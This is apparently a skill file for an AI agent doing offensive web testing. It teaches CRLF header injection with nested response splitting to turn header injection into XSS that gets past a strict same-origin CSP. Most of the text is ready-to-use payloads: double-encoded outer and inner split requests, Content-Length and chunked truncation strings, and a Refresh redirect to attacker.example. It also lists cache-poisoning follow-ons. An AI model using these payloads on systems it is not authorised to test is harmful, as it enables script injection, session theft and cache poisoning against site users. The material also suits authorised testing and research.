---
name: crlf-response-splitting
description: Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts.
---

# CRLF Injection -> Nested Response Splitting CSP Bypass

## Pattern
- CRLF injection exists in a response header such as `Content-Type` or `Location`
- CSP is strict enough to block inline script execution
- You can inject `\r\n\r\n` and split the response body
- Inline payloads are blocked by CSP, so you need a same-origin script gadget

## Core Technique
Use one CRLF-injectable endpoint to return HTML and load a second same-origin CRLF-injectable endpoint as JavaScript.

```
Outer split:  <script src="/vuln-endpoint?type=text/javascript%0d%0a%0d%0aalert(origin)//PADDING">
Inner split:  response with Content-Type: text/javascript and body alert(origin)
```

The nested request is same-origin, so `script-src 'self'` permits execution.

## Truncation Methods

### Missing Content-Length
Inject a shorter `Content-Length` in the nested response:
```
Content-Length: 13\r\n\r\nalert(origin)
```

### Transfer-Encoding: chunked
For HTTP/1.1 targets:
```
Transfer-Encoding: chunked\r\n\r\nd\r\nalert(origin)\r\n0\r\n\r\n
```

### Fixed Content-Length padding
Pad the payload with a JavaScript comment and filler bytes:
```
alert(origin)//AAAAAAAAAAAA
```

## Payload Construction

### Outer request
```
/endpoint?param=text/html%0d%0a%0d%0a<script+src="/endpoint?param=text/javascript%250d%250a%250d%250aalert(origin)"></script>
```

Double-encode the nested CRLF bytes so they survive the first parse.

### Inner request
Return JavaScript as `text/javascript` with a body containing the payload.

## Header-Only CRLF
If you can inject only one CRLF and not split the body, useful follow-on headers include:
- `Referrer-Policy: unsafe-url`
- `Refresh: 0;url=https://attacker.example`
- cache-control mutations for poisoning

## Indicators
- Header reflection preserves CRLF characters
- `%0d%0a` behaves differently from `%0a`
- CSP blocks inline payloads but allows same-origin scripts

## Chain With
- `web-cache-deception-path`
- `nextjs-cache-poisoning`
- `parser-differential-bypass`

## References
- https://lab.ctbb.show/research/crlf-injection-nested-response-splitting-csp-gadget
